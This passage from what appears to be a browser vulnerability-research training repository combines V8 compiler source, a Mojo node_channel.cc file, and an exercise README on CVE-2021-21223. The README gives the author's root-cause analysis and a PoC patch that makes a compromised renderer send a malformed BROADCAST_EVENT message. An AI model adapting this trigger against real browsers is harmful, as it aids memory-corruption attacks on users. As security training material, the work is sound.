jsgraph()->graph()->NewNode(machine()->ChangeFloat64ToInt32(), node); } Node* RepresentationChanger::InsertChangeInt32ToFloat64(Node* node) { return jsgraph()->graph()->NewNode(machine()->ChangeInt32ToFloat64(), node); } Node* RepresentationChanger::InsertChangeTaggedSignedToInt32(Node* node) { return jsgraph()->graph()->NewNode(simplified()->ChangeTaggedSignedToInt32(), node); } Node* RepresentationChanger::InsertChangeTaggedToFloat64(Node* node) { return jsgraph()->graph()->NewNode(simplified()->ChangeTaggedToFloat64(), node); } Node* RepresentationChanger::InsertChangeUint32ToFloat64(Node* node) { return jsgraph()->graph()->NewNode(machine()->ChangeUint32ToFloat64(), node); } Node* RepresentationChanger::InsertTruncateInt64ToInt32(Node* node) { return jsgraph()->graph()->NewNode(machine()->TruncateInt64ToInt32(), node); } Node* RepresentationChanger::InsertCheckedFloat64ToInt32( Node* node, CheckForMinusZeroMode check, const FeedbackSource& feedback, Node* use_node) { return InsertConversion( node, simplified()->CheckedFloat64ToInt32(check, feedback), use_node); } Isolate* RepresentationChanger::isolate() const { return broker_->isolate(); } } // namespace compiler } // namespace internal } // namespace v8 ================================================ FILE: LEVEL_3/exercise_2/representation-change.h ================================================ // Copyright 2014 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef V8_COMPILER_REPRESENTATION_CHANGE_H_ #define V8_COMPILER_REPRESENTATION_CHANGE_H_ #include "src/compiler/feedback-source.h" #include "src/compiler/js-graph.h" #include "src/compiler/simplified-operator.h" namespace v8 { namespace internal { namespace compiler { // Foward declarations. class TypeCache; enum IdentifyZeros { kIdentifyZeros, kDistinguishZeros }; class Truncation final { public: // Constructors. static Truncation None() { return Truncation(TruncationKind::kNone, kIdentifyZeros); } static Truncation Bool() { return Truncation(TruncationKind::kBool, kIdentifyZeros); } static Truncation Word32() { return Truncation(TruncationKind::kWord32, kIdentifyZeros); } static Truncation Word64() { return Truncation(TruncationKind::kWord64, kIdentifyZeros); } static Truncation OddballAndBigIntToNumber( IdentifyZeros identify_zeros = kDistinguishZeros) { return Truncation(TruncationKind::kOddballAndBigIntToNumber, identify_zeros); } static Truncation Any(IdentifyZeros identify_zeros = kDistinguishZeros) { return Truncation(TruncationKind::kAny, identify_zeros); } static Truncation Generalize(Truncation t1, Truncation t2) { return Truncation( Generalize(t1.kind(), t2.kind()), GeneralizeIdentifyZeros(t1.identify_zeros(), t2.identify_zeros())); } // Queries. bool IsUnused() const { return kind_ == TruncationKind::kNone; } bool IsUsedAsBool() const { return LessGeneral(kind_, TruncationKind::kBool); } bool IsUsedAsWord32() const { return LessGeneral(kind_, TruncationKind::kWord32); } bool IsUsedAsWord64() const { return LessGeneral(kind_, TruncationKind::kWord64); } bool TruncatesOddballAndBigIntToNumber() const { return LessGeneral(kind_, TruncationKind::kOddballAndBigIntToNumber); } bool IdentifiesUndefinedAndZero() { return LessGeneral(kind_, TruncationKind::kWord32) || LessGeneral(kind_, TruncationKind::kBool); } bool IdentifiesZeroAndMinusZero() const { return identify_zeros() == kIdentifyZeros; } // Operators. bool operator==(Truncation other) const { return kind() == other.kind() && identify_zeros() == other.identify_zeros(); } bool operator!=(Truncation other) const { return !(*this == other); } // Debug utilities. const char* description() const; bool IsLessGeneralThan(Truncation other) { return LessGeneral(kind(), other.kind()) && LessGeneralIdentifyZeros(identify_zeros(), other.identify_zeros()); } IdentifyZeros identify_zeros() const { return identify_zeros_; } private: enum class TruncationKind : uint8_t { kNone, kBool, kWord32, kWord64, kOddballAndBigIntToNumber, kAny }; explicit Truncation(TruncationKind kind, IdentifyZeros identify_zeros) : kind_(kind), identify_zeros_(identify_zeros) { DCHECK(kind == TruncationKind::kAny || kind == TruncationKind::kOddballAndBigIntToNumber || identify_zeros == kIdentifyZeros); } TruncationKind kind() const { return kind_; } TruncationKind kind_; IdentifyZeros identify_zeros_; static TruncationKind Generalize(TruncationKind rep1, TruncationKind rep2); static IdentifyZeros GeneralizeIdentifyZeros(IdentifyZeros i1, IdentifyZeros i2); static bool LessGeneral(TruncationKind rep1, TruncationKind rep2); static bool LessGeneralIdentifyZeros(IdentifyZeros u1, IdentifyZeros u2); }; enum class TypeCheckKind : uint8_t { kNone, kSignedSmall, kSigned32, kSigned64, kNumber, kNumberOrBoolean, kNumberOrOddball, kHeapObject, kBigInt, kArrayIndex }; inline std::ostream& operator<<(std::ostream& os, TypeCheckKind type_check) { switch (type_check) { case TypeCheckKind::kNone: return os << "None"; case TypeCheckKind::kSignedSmall: return os << "SignedSmall"; case TypeCheckKind::kSigned32: return os << "Signed32"; case TypeCheckKind::kSigned64: return os << "Signed64"; case TypeCheckKind::kNumber: return os << "Number"; case TypeCheckKind::kNumberOrBoolean: return os << "NumberOrBoolean"; case TypeCheckKind::kNumberOrOddball: return os << "NumberOrOddball"; case TypeCheckKind::kHeapObject: return os << "HeapObject"; case TypeCheckKind::kBigInt: return os << "BigInt"; case TypeCheckKind::kArrayIndex: return os << "ArrayIndex"; } UNREACHABLE(); } // The {UseInfo} class is used to describe a use of an input of a node. // // This information is used in two different ways, based on the phase: // // 1. During propagation, the use info is used to inform the input node // about what part of the input is used (we call this truncation) and what // is the preferred representation. For conversions that will require // checks, we also keep track of whether a minus zero check is needed. // // 2. During lowering, the use info is used to properly convert the input // to the preferred representation. The preferred representation might be // insufficient to do the conversion (e.g. word32->float64 conv), so we also // need the signedness information to produce the correct value. // Additionally, use info may contain {CheckParameters} which contains // information for the deoptimizer such as a CallIC on which speculation // should be disallowed if the check fails. class UseInfo { public: UseInfo(MachineRepresentation representation, Truncation truncation, TypeCheckKind type_check = TypeCheckKind::kNone, const FeedbackSource& feedback = FeedbackSource()) : representation_(representation), truncation_(truncation), type_check_(type_check), feedback_(feedback) {} static UseInfo TruncatingWord32() { return UseInfo(MachineRepresentation::kWord32, Truncation::Word32()); } static UseInfo TruncatingWord64() { return UseInfo(MachineRepresentation::kWord64, Truncation::Word64()); } static UseInfo CheckedBigIntTruncatingWord64(const FeedbackSource& feedback) { return UseInfo(MachineRepresentation::kWord64, Truncation::Word64(), TypeCheckKind::kBigInt, feedback); } static UseInfo Word64() { return UseInfo(MachineRepresentation::kWord64, Truncation::Any()); } static UseInfo Word() { return UseInfo(MachineType::PointerRepresentation(), Truncation::Any()); } static UseInfo Bool() { return UseInfo(MachineRepresentation::kBit, Truncation::Bool()); } static UseInfo Float32() { return UseInfo(MachineRepresentation::kFloat32, Truncation::Any()); } static UseInfo Float64() { return UseInfo(MachineRepresentation::kFloat64, Truncation::Any()); } static UseInfo TruncatingFloat64( IdentifyZeros identify_zeros = kDistinguishZeros) { return UseInfo(MachineRepresentation::kFloat64, Truncation::OddballAndBigIntToNumber(identify_zeros)); } static UseInfo AnyTagged() { return UseInfo(MachineRepresentation::kTagged, Truncation::Any()); } static UseInfo TaggedSigned() { return UseInfo(MachineRepresentation::kTaggedSigned, Truncation::Any()); } static UseInfo TaggedPointer() { return UseInfo(MachineRepresentation::kTaggedPointer, Truncation::Any()); } // Possibly deoptimizing conversions. static UseInfo CheckedTaggedAsArrayIndex(const FeedbackSource& feedback) { return UseInfo(MachineType::PointerRepresentation(), Truncation::Any(kIdentifyZeros), TypeCheckKind::kArrayIndex, feedback); } static UseInfo CheckedHeapObjectAsTaggedPointer( const FeedbackSource& feedback) { return UseInfo(MachineRepresentation::kTaggedPointer, Truncation::Any(), TypeCheckKind::kHeapObject, feedback); } static UseInfo CheckedBigIntAsTaggedPointer(const FeedbackSource& feedback) { return UseInfo(MachineRepresentation::kTaggedPointer, Truncation::Any(), TypeCheckKind::kBigInt, feedback); } static UseInfo CheckedSignedSmallAsTaggedSigned( const FeedbackSource& feedback, IdentifyZeros identify_zeros = kDistinguishZeros) { return UseInfo(MachineRepresentation::kTaggedSigned, Truncation::Any(identify_zeros), TypeCheckKind::kSignedSmall, feedback); } static UseInfo CheckedSignedSmallAsWord32(IdentifyZeros identify_zeros, const FeedbackSource& feedback) { return UseInfo(MachineRepresentation::kWord32, Truncation::Any(identify_zeros), TypeCheckKind::kSignedSmall, feedback); } static UseInfo CheckedSigned32AsWord32(IdentifyZeros identify_zeros, const FeedbackSource& feedback) { return UseInfo(MachineRepresentation::kWord32, Truncation::Any(identify_zeros), TypeCheckKind::kSigned32, feedback); } static UseInfo CheckedSigned64AsWord64(IdentifyZeros identify_zeros, const FeedbackSource& feedback) { return UseInfo(MachineRepresentation::kWord64, Truncation::Any(identify_zeros), TypeCheckKind::kSigned64, feedback); } static UseInfo CheckedNumberAsFloat64(IdentifyZeros identify_zeros, const FeedbackSource& feedback) { return UseInfo(MachineRepresentation::kFloat64, Truncation::Any(identify_zeros), TypeCheckKind::kNumber, feedback); } static UseInfo CheckedNumberAsWord32(const FeedbackSource& feedback) { return UseInfo(MachineRepresentation::kWord32, Truncation::Word32(), TypeCheckKind::kNumber, feedback); } static UseInfo CheckedNumberOrBooleanAsFloat64( IdentifyZeros identify_zeros, const FeedbackSource& feedback) { return UseInfo(MachineRepresentation::kFloat64, Truncation::Any(identify_zeros), TypeCheckKind::kNumberOrBoolean, feedback); } static UseInfo CheckedNumberOrOddballAsFloat64( IdentifyZeros identify_zeros, const FeedbackSource& feedback) { return UseInfo(MachineRepresentation::kFloat64, Truncation::Any(identify_zeros), TypeCheckKind::kNumberOrOddball, feedback); } static UseInfo CheckedNumberOrOddballAsWord32( const FeedbackSource& feedback) { return UseInfo(MachineRepresentation::kWord32, Truncation::Word32(), TypeCheckKind::kNumberOrOddball, feedback); } // Undetermined representation. static UseInfo Any() { return UseInfo(MachineRepresentation::kNone, Truncation::Any()); } static UseInfo AnyTruncatingToBool() { return UseInfo(MachineRepresentation::kNone, Truncation::Bool()); } // Value not used. static UseInfo None() { return UseInfo(MachineRepresentation::kNone, Truncation::None()); } MachineRepresentation representation() const { return representation_; } Truncation truncation() const { return truncation_; } TypeCheckKind type_check() const { return type_check_; } CheckForMinusZeroMode minus_zero_check() const { return truncation().IdentifiesZeroAndMinusZero() ? CheckForMinusZeroMode::kDontCheckForMinusZero : CheckForMinusZeroMode::kCheckForMinusZero; } const FeedbackSource& feedback() const { return feedback_; } private: MachineRepresentation representation_; Truncation truncation_; TypeCheckKind type_check_; FeedbackSource feedback_; }; // Contains logic related to changing the representation of values for constants // and other nodes, as well as lowering Simplified->Machine operators. // Eagerly folds any representation changes for constants. class V8_EXPORT_PRIVATE RepresentationChanger final { public: RepresentationChanger(JSGraph* jsgraph, JSHeapBroker* broker); // Changes representation from {output_type} to {use_rep}. The {truncation} // parameter is only used for checking - if the changer cannot figure // out signedness for the word32->float64 conversion, then we check that the // uses truncate to word32 (so they do not care about signedness). Node* GetRepresentationFor(Node* node, MachineRepresentation output_rep, Type output_type, Node* use_node, UseInfo use_info); const Operator* Int32OperatorFor(IrOpcode::Value opcode); const Operator* Int32OverflowOperatorFor(IrOpcode::Value opcode); const Operator* Int64OperatorFor(IrOpcode::Value opcode); const Operator* TaggedSignedOperatorFor(IrOpcode::Value opcode); const Operator* Uint32OperatorFor(IrOpcode::Value opcode); const Operator* Uint32OverflowOperatorFor(IrOpcode::Value opcode); const Operator* Float64OperatorFor(IrOpcode::Value opcode); MachineType TypeForBasePointer(const FieldAccess& access) { return access.tag() != 0 ? MachineType::AnyTagged() : MachineType::Pointer(); } MachineType TypeForBasePointer(const ElementAccess& access) { return access.tag() != 0 ? MachineType::AnyTagged() : MachineType::Pointer(); } private: TypeCache const* cache_; JSGraph* jsgraph_; JSHeapBroker* broker_; friend class RepresentationChangerTester; // accesses the below fields. bool testing_type_errors_; // If {true}, don't abort on a type error. bool type_error_; // Set when a type error is detected. Node* GetTaggedSignedRepresentationFor(Node* node, MachineRepresentation output_rep, Type output_type, Node* use_node, UseInfo use_info); Node* GetTaggedPointerRepresentationFor(Node* node, MachineRepresentation output_rep, Type output_type, Node* use_node, UseInfo use_info); Node* GetTaggedRepresentationFor(Node* node, MachineRepresentation output_rep, Type output_type, Truncation truncation); Node* GetFloat32RepresentationFor(Node* node, MachineRepresentation output_rep, Type output_type, Truncation truncation); Node* GetFloat64RepresentationFor(Node* node, MachineRepresentation output_rep, Type output_type, Node* use_node, UseInfo use_info); Node* GetWord32RepresentationFor(Node* node, MachineRepresentation output_rep, Type output_type, Node* use_node, UseInfo use_info); Node* GetBitRepresentationFor(Node* node, MachineRepresentation output_rep, Type output_type); Node* GetWord64RepresentationFor(Node* node, MachineRepresentation output_rep, Type output_type, Node* use_node, UseInfo use_info); Node* TypeError(Node* node, MachineRepresentation output_rep, Type output_type, MachineRepresentation use); Node* MakeTruncatedInt32Constant(double value); Node* InsertChangeBitToTagged(Node* node); Node* InsertChangeFloat32ToFloat64(Node* node); Node* InsertChangeFloat64ToInt32(Node* node); Node* InsertChangeFloat64ToUint32(Node* node); Node* InsertChangeInt32ToFloat64(Node* node); Node* InsertChangeTaggedSignedToInt32(Node* node); Node* InsertChangeTaggedToFloat64(Node* node); Node* InsertChangeUint32ToFloat64(Node* node); Node* InsertCheckedFloat64ToInt32(Node* node, CheckForMinusZeroMode check, const FeedbackSource& feedback, Node* use_node); Node* InsertConversion(Node* node, const Operator* op, Node* use_node); Node* InsertTruncateInt64ToInt32(Node* node); Node* InsertUnconditionalDeopt(Node* node, DeoptimizeReason reason); JSGraph* jsgraph() const { return jsgraph_; } Isolate* isolate() const; Factory* factory() const { return isolate()->factory(); } SimplifiedOperatorBuilder* simplified() { return jsgraph()->simplified(); } MachineOperatorBuilder* machine() { return jsgraph()->machine(); } }; } // namespace compiler } // namespace internal } // namespace v8 #endif // V8_COMPILER_REPRESENTATION_CHANGE_H_ ================================================ FILE: LEVEL_3/exercise_3/README.md ================================================ # Exercise 3 In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. LEVEL 2 we do the same as LEVEL 1 without the help of Details. But the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves. ## CVE-2021-21223 I sugget you don't search any report about it to prevents get too much info like patch. ### Details In level 3, we do it without the help of Details ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1195308
-------- ### Set environment after fetch chromium ```sh git reset --hard 5fea97e8b681c0a0e142f68ed03d5c4cc5862672 ``` ### Related code mojo/core/node_channel.cc read this [design doc](https://chromium.googlesource.com/chromium/src/+/6740adb28374ddeee13febfd5e5d20cb8a365979/mojo/core#mojo-core-overview) about `mojo-code`, you can understand source code faster. ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer I have notice one func, and this is the only func I suspect. ```c++ // static void NodeChannel::GetEventMessageData(Channel::Message* message, void** data, size_t* num_data_bytes) { // NOTE: OnChannelMessage guarantees that we never accept a Channel::Message // with a payload of fewer than |sizeof(Header)| bytes. *data = reinterpret_cast(message->mutable_payload()) + 1; *num_data_bytes = message->payload_size() - sizeof(Header); } ``` The **comment** reminds me, `NOTE: OnChannelMessage guarantees that we never accept a Channel::Message with a payload of fewer than |sizeof(Header)| bytes.` Can we make `message->payload_size()` less than `sizeof(Header)`? First we need bypass OnChannelMessage to get here. ```c++ void NodeChannel::OnChannelMessage(const void* payload, size_t payload_size, std::vector handles) { DCHECK(owning_task_runner()->RunsTasksInCurrentSequence()); RequestContext request_context(RequestContext::Source::SYSTEM); if (payload_size <= sizeof(Header)) { [1] delegate_->OnChannelError(remote_node_name_, this); return; } //[ ... ] case MessageType::BROADCAST_EVENT: { if (payload_size <= sizeof(Header)) break; const void* data = static_cast( reinterpret_cast(payload) + 1); Channel::MessagePtr message = Channel::Message::Deserialize(data, payload_size - sizeof(Header)); if (!message || message->has_handles()) { DLOG(ERROR) << "Dropping invalid broadcast message."; break; } delegate_->OnBroadcast(remote_node_name_, std::move(message)); [2] return; } ``` [1] check `payload_size <= sizeof(Header)` at begain of OnChannelMessage, and I will explain [2] alter. We can search for which func call `GetEventMessageData` ```c++ ports::ScopedEvent DeserializeEventMessage( const ports::NodeName& from_node, Channel::MessagePtr channel_message) { void* data; size_t size; NodeChannel::GetEventMessageData(channel_message.get(), &data, &size); [3] auto event = ports::Event::Deserialize(data, size); if (!event) return nullptr; [ ... ] } =========================================================== // static Channel::MessagePtr UserMessageImpl::FinalizeEventMessage( std::unique_ptr message_event) { [ ... ] if (channel_message) { void* data; size_t size; NodeChannel::GetEventMessageData(channel_message.get(), &data, &size); [4] message_event->Serialize(data); } return channel_message; } ``` [3] and [4] both call `GetEventMessageData`, I analysis `DeserializeEventMessage` ```c++ void NodeController::BroadcastEvent(ports::ScopedEvent event) { Channel::MessagePtr channel_message = SerializeEventMessage(std::move(event)); DCHECK(channel_message && !channel_message->has_handles()); scoped_refptr broker = GetBrokerChannel(); if (broker) broker->Broadcast(std::move(channel_message)); else OnBroadcast(name_, std::move(channel_message)); [5] } ================================================================= void NodeController::OnBroadcast(const ports::NodeName& from_node, Channel::MessagePtr message) { DCHECK(!message->has_handles()); auto event = DeserializeEventMessage(from_node, std::move(message)); [6] [ ... ] ``` [6] call `DeserializeEventMessage` and `BroadcastEvent` call `OnBroadcast`, this is different from [2]. [2] will check `if (payload_size <= sizeof(Header))` before call `OnBroadcast`. And this way have no check so far, maybe I am wrong. **Poc** >To reproduce the issue, please patch chrome through the following patch ```diff diff --git a/mojo/core/node_channel.cc b/mojo/core/node_channel.cc index c48fb573fea9..7ce197a579f5 100644 --- a/mojo/core/node_channel.cc +++ b/mojo/core/node_channel.cc @@ -17,7 +17,7 @@ #include "mojo/core/configuration.h" #include "mojo/core/core.h" #include "mojo/core/request_context.h" - +#include "base/trace_event/trace_event.h" namespace mojo { namespace core { @@ -327,12 +327,23 @@ void NodeChannel::AcceptInvitee(const ports::NodeName& inviter_name, void NodeChannel::AcceptInvitation(const ports::NodeName& token, const ports::NodeName& invitee_name) { - AcceptInvitationData* data; - Channel::MessagePtr message = CreateMessage( - MessageType::ACCEPT_INVITATION, sizeof(AcceptInvitationData), 0, &data); - data->token = token; - data->invitee_name = invitee_name; - WriteChannelMessage(std::move(message)); + if (base::trace_event::TraceLog::GetInstance()->process_name() == + "Renderer") { + void* data; + Channel::MessagePtr broadcast_message = + CreateMessage(MessageType::BROADCAST_EVENT, 16, 0, &data); + uint32_t buffer[] = {16, 16 + 0x10000, 0, 0}; + memcpy(data, buffer, sizeof(buffer)); + WriteChannelMessage(std::move(broadcast_message)); + } else { + AcceptInvitationData* data; + Channel::MessagePtr message = CreateMessage( + MessageType::ACCEPT_INVITATION, sizeof(AcceptInvitationData), 0, + &data); + data->token = token; + data->invitee_name = invitee_name; + WriteChannelMessage(std::move(message)); + } } void NodeChannel::AcceptPeer(const ports::NodeName& sender_name, ```
-------- ================================================ FILE: LEVEL_3/exercise_3/node_channel.cc ================================================ // Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "mojo/core/node_channel.h" #include #include #include #include "base/bind.h" #include "base/location.h" #include "base/logging.h" #include "base/memory/ptr_util.h" #include "mojo/core/broker_host.h" #include "mojo/core/channel.h" #include "mojo/core/configuration.h" #include "mojo/core/core.h" #include "mojo/core/request_context.h" namespace mojo { namespace core { namespace { // NOTE: Please ONLY append messages to the end of this enum. enum class MessageType : uint32_t { ACCEPT_INVITEE, ACCEPT_INVITATION, ADD_BROKER_CLIENT, BROKER_CLIENT_ADDED, ACCEPT_BROKER_CLIENT, EVENT_MESSAGE, REQUEST_PORT_MERGE, REQUEST_INTRODUCTION, INTRODUCE, #if defined(OS_WIN) RELAY_EVENT_MESSAGE, #endif BROADCAST_EVENT, #if defined(OS_WIN) EVENT_MESSAGE_FROM_RELAY, #endif ACCEPT_PEER, BIND_BROKER_HOST, }; #pragma pack(push, 1) struct alignas(8) Header { MessageType type; }; static_assert(IsAlignedForChannelMessage(sizeof(Header)), "Invalid header size."); struct alignas(8) AcceptInviteeDataV0 { ports::NodeName inviter_name; ports::NodeName token; }; struct alignas(8) AcceptInviteeDataV1 : AcceptInviteeDataV0 { uint64_t capabilities = kNodeCapabilityNone; }; using AcceptInviteeData = AcceptInviteeDataV1; struct alignas(8) AcceptInvitationDataV0 { ports::NodeName token; ports::NodeName invitee_name; }; struct alignas(8) AcceptInvitationDataV1 : AcceptInvitationDataV0 { uint64_t capabilities = kNodeCapabilityNone; }; using AcceptInvitationData = AcceptInvitationDataV1; struct alignas(8) AcceptPeerDataV0 { ports::NodeName token; ports::NodeName peer_name; ports::PortName port_name; }; using AcceptPeerData = AcceptPeerDataV0; // This message may include a process handle on platforms that require it. struct alignas(8) AddBrokerClientDataV0 { ports::NodeName client_name; #if !defined(OS_WIN) uint32_t process_handle = 0; #endif }; using AddBrokerClientData = AddBrokerClientDataV0; #if !defined(OS_WIN) static_assert(sizeof(base::ProcessHandle) == sizeof(uint32_t), "Unexpected pid size"); static_assert(sizeof(AddBrokerClientData) % kChannelMessageAlignment == 0, "Invalid AddBrokerClientData size."); #endif // This data is followed by a platform channel handle to the broker. struct alignas(8) BrokerClientAddedDataV0 { ports::NodeName client_name; }; using BrokerClientAddedData = BrokerClientAddedDataV0; // This data may be followed by a platform channel handle to the broker. If not, // then the inviter is the broker and its channel should be used as such. struct alignas(8) AcceptBrokerClientDataV0 { ports::NodeName broker_name; }; struct alignas(8) AcceptBrokerClientDataV1 : AcceptBrokerClientDataV0 { uint64_t capabilities = kNodeCapabilityNone; uint64_t broker_capabilities = kNodeCapabilityNone; }; using AcceptBrokerClientData = AcceptBrokerClientDataV1; // This is followed by arbitrary payload data which is interpreted as a token // string for port location. // NOTE: Because this field is variable length it cannot be versioned. struct alignas(8) RequestPortMergeData { ports::PortName connector_port_name; }; // Used for both REQUEST_INTRODUCTION and INTRODUCE. // // For INTRODUCE the message also includes a valid platform handle for a // channel the receiver may use to communicate with the named node directly, // or an invalid platform handle if the node is unknown to the sender or // otherwise cannot be introduced. struct alignas(8) IntroductionDataV0 { ports::NodeName name; }; struct alignas(8) IntroductionDataV1 : IntroductionDataV0 { uint64_t capabilities = kNodeCapabilityNone; }; using IntroductionData = IntroductionDataV1; // This message is just a PlatformHandle. The data struct alignas(8) here has // only a padding field to ensure an aligned, non-zero-length payload. struct alignas(8) BindBrokerHostDataV0 {}; using BindBrokerHostData = BindBrokerHostDataV0; #if defined(OS_WIN) // This struct alignas(8) is followed by the full payload of a message to be // relayed. // NOTE: Because this field is variable length it cannot be versioned. struct alignas(8) RelayEventMessageData { ports::NodeName destination; }; // This struct alignas(8) is followed by the full payload of a relayed // message. struct alignas(8) EventMessageFromRelayDataV0 { ports::NodeName source; }; using EventMessageFromRelayData = EventMessageFromRelayDataV0; #endif #pragma pack(pop) Channel::MessagePtr CreateMessage(MessageType type, size_t payload_size, size_t num_handles, void** out_data, size_t capacity = 0) { const size_t total_size = payload_size + sizeof(Header); if (capacity == 0) capacity = total_size; else capacity = std::max(total_size, capacity); auto message = std::make_unique(capacity, total_size, num_handles); Header* header = reinterpret_cast(message->mutable_payload()); // Make sure any header padding gets zeroed. memset(header, 0, sizeof(Header)); header->type = type; // The out_data starts beyond the header. *out_data = reinterpret_cast(header + 1); return message; } template Channel::MessagePtr CreateMessage(MessageType type, size_t payload_size, size_t num_handles, DataType** out_data, size_t capacity = 0) { auto msg_ptr = CreateMessage(type, payload_size, num_handles, reinterpret_cast(out_data), capacity); // Since we know the type let's make sure any padding areas are zeroed. memset(*out_data, 0, sizeof(DataType)); return msg_ptr; } // This method takes a second template argument which is another datatype // which represents the smallest size this payload can be to be considered // valid this MUST be used when there is more than one version of a message to // specify the oldest version of the message. template bool GetMessagePayloadMinimumSized(const void* bytes, size_t num_bytes, DataType* out_data) { static_assert(sizeof(DataType) > 0, "DataType must have non-zero size."); if (num_bytes < sizeof(Header) + sizeof(MinSizedDataType)) { return false; } // Always make sure that the full object is zeored and default constructed // as we may not have the complete type. The default construction allows // fields to be default initialized to be resilient to older message // versions. memset(out_data, 0, sizeof(*out_data)); new (out_data) DataType; // Overwrite any fields we received. memcpy(out_data, static_cast(bytes) + sizeof(Header), std::min(sizeof(DataType), num_bytes - sizeof(Header))); return true; } template bool GetMessagePayload(const void* bytes, size_t num_bytes, DataType* out_data) { return GetMessagePayloadMinimumSized(bytes, num_bytes, out_data); } } // namespace // static scoped_refptr NodeChannel::Create( Delegate* delegate, ConnectionParams connection_params, Channel::HandlePolicy channel_handle_policy, scoped_refptr io_task_runner, const ProcessErrorCallback& process_error_callback) { #if defined(OS_NACL_SFI) LOG(FATAL) << "Multi-process not yet supported on NaCl-SFI"; return nullptr; #else return new NodeChannel(delegate, std::move(connection_params), channel_handle_policy, io_task_runner, process_error_callback); #endif } // static Channel::MessagePtr NodeChannel::CreateEventMessage(size_t capacity, size_t payload_size, void** payload, size_t num_handles) { return CreateMessage(MessageType::EVENT_MESSAGE, payload_size, num_handles, payload, capacity); } // static void NodeChannel::GetEventMessageData(Channel::Message* message, void** data, size_t* num_data_bytes) { // NOTE: OnChannelMessage guarantees that we never accept a Channel::Message // with a payload of fewer than |sizeof(Header)| bytes. *data = reinterpret_cast(message->mutable_payload()) + 1; *num_data_bytes = message->payload_size() - sizeof(Header); } void NodeChannel::Start() { base::AutoLock lock(channel_lock_); // ShutDown() may have already been called, in which case |channel_| is null. if (channel_) channel_->Start(); } void NodeChannel::ShutDown() { base::AutoLock lock(channel_lock_); if (channel_) { channel_->ShutDown(); channel_ = nullptr; } } void NodeChannel::LeakHandleOnShutdown() { base::AutoLock lock(channel_lock_); if (channel_) { channel_->LeakHandle(); } } void NodeChannel::NotifyBadMessage(const std::string& error) { DCHECK(HasBadMessageHandler()); process_error_callback_.Run("Received bad user message: " + error); } void NodeChannel::SetRemoteProcessHandle(base::Process process_handle) { DCHECK(owning_task_runner()->RunsTasksInCurrentSequence()); { base::AutoLock lock(channel_lock_); if (channel_) channel_->set_remote_process(process_handle.Duplicate()); } base::AutoLock lock(remote_process_handle_lock_); DCHECK(!remote_process_handle_.IsValid()); CHECK_NE(remote_process_handle_.Handle(), base::GetCurrentProcessHandle()); remote_process_handle_ = std::move(process_handle); } bool NodeChannel::HasRemoteProcessHandle() { base::AutoLock lock(remote_process_handle_lock_); return remote_process_handle_.IsValid(); } base::Process NodeChannel::CloneRemoteProcessHandle() { base::AutoLock lock(remote_process_handle_lock_); return remote_process_handle_.Duplicate(); } void NodeChannel::SetRemoteNodeName(const ports::NodeName& name) { DCHECK(owning_task_runner()->RunsTasksInCurrentSequence()); remote_node_name_ = name; } void NodeChannel::AcceptInvitee(const ports::NodeName& inviter_name, const ports::NodeName& token) { AcceptInviteeData* data; Channel::MessagePtr message = CreateMessage( MessageType::ACCEPT_INVITEE, sizeof(AcceptInviteeData), 0, &data); data->inviter_name = inviter_name; data->token = token; data->capabilities = local_capabilities_; WriteChannelMessage(std::move(message)); } void NodeChannel::AcceptInvitation(const ports::NodeName& token, const ports::NodeName& invitee_name) { AcceptInvitationData* data; Channel::MessagePtr message = CreateMessage( MessageType::ACCEPT_INVITATION, sizeof(AcceptInvitationData), 0, &data); data->token = token; data->invitee_name = invitee_name; data->capabilities = local_capabilities_; WriteChannelMessage(std::move(message)); } void NodeChannel::AcceptPeer(const ports::NodeName& sender_name, const ports::NodeName& token, const ports::PortName& port_name) { AcceptPeerData* data; Channel::MessagePtr message = CreateMessage(MessageType::ACCEPT_PEER, sizeof(AcceptPeerData), 0, &data); data->token = token; data->peer_name = sender_name; data->port_name = port_name; WriteChannelMessage(std::move(message)); } void NodeChannel::AddBrokerClient(const ports::NodeName& client_name, base::Process process_handle) { AddBrokerClientData* data; std::vector handles; #if defined(OS_WIN) handles.emplace_back(base::win::ScopedHandle(process_handle.Release())); #endif Channel::MessagePtr message = CreateMessage(MessageType::ADD_BROKER_CLIENT, sizeof(AddBrokerClientData), handles.size(), &data); message->SetHandles(std::move(handles)); data->client_name = client_name; #if !defined(OS_WIN) data->process_handle = process_handle.Handle(); #endif WriteChannelMessage(std::move(message)); } void NodeChannel::BrokerClientAdded(const ports::NodeName& client_name, PlatformHandle broker_channel) { BrokerClientAddedData* data; std::vector handles; if (broker_channel.is_valid()) handles.emplace_back(std::move(broker_channel)); Channel::MessagePtr message = CreateMessage(MessageType::BROKER_CLIENT_ADDED, sizeof(BrokerClientAddedData), handles.size(), &data); message->SetHandles(std::move(handles)); data->client_name = client_name; WriteChannelMessage(std::move(message)); } void NodeChannel::AcceptBrokerClient(const ports::NodeName& broker_name, PlatformHandle broker_channel, const uint64_t broker_capabilities) { AcceptBrokerClientData* data; std::vector handles; if (broker_channel.is_valid()) handles.emplace_back(std::move(broker_channel)); Channel::MessagePtr message = CreateMessage(MessageType::ACCEPT_BROKER_CLIENT, sizeof(AcceptBrokerClientData), handles.size(), &data); message->SetHandles(std::move(handles)); data->broker_name = broker_name; data->broker_capabilities = broker_capabilities; data->capabilities = local_capabilities_; WriteChannelMessage(std::move(message)); } void NodeChannel::RequestPortMerge(const ports::PortName& connector_port_name, const std::string& token) { RequestPortMergeData* data; Channel::MessagePtr message = CreateMessage(MessageType::REQUEST_PORT_MERGE, sizeof(RequestPortMergeData) + token.size(), 0, &data); data->connector_port_name = connector_port_name; memcpy(data + 1, token.data(), token.size()); WriteChannelMessage(std::move(message)); } void NodeChannel::RequestIntroduction(const ports::NodeName& name) { IntroductionData* data; Channel::MessagePtr message = CreateMessage( MessageType::REQUEST_INTRODUCTION, sizeof(IntroductionData), 0, &data); data->name = name; WriteChannelMessage(std::move(message)); } void NodeChannel::Introduce(const ports::NodeName& name, PlatformHandle channel_handle, uint64_t capabilities) { IntroductionData* data; std::vector handles; if (channel_handle.is_valid()) handles.emplace_back(std::move(channel_handle)); Channel::MessagePtr message = CreateMessage( MessageType::INTRODUCE, 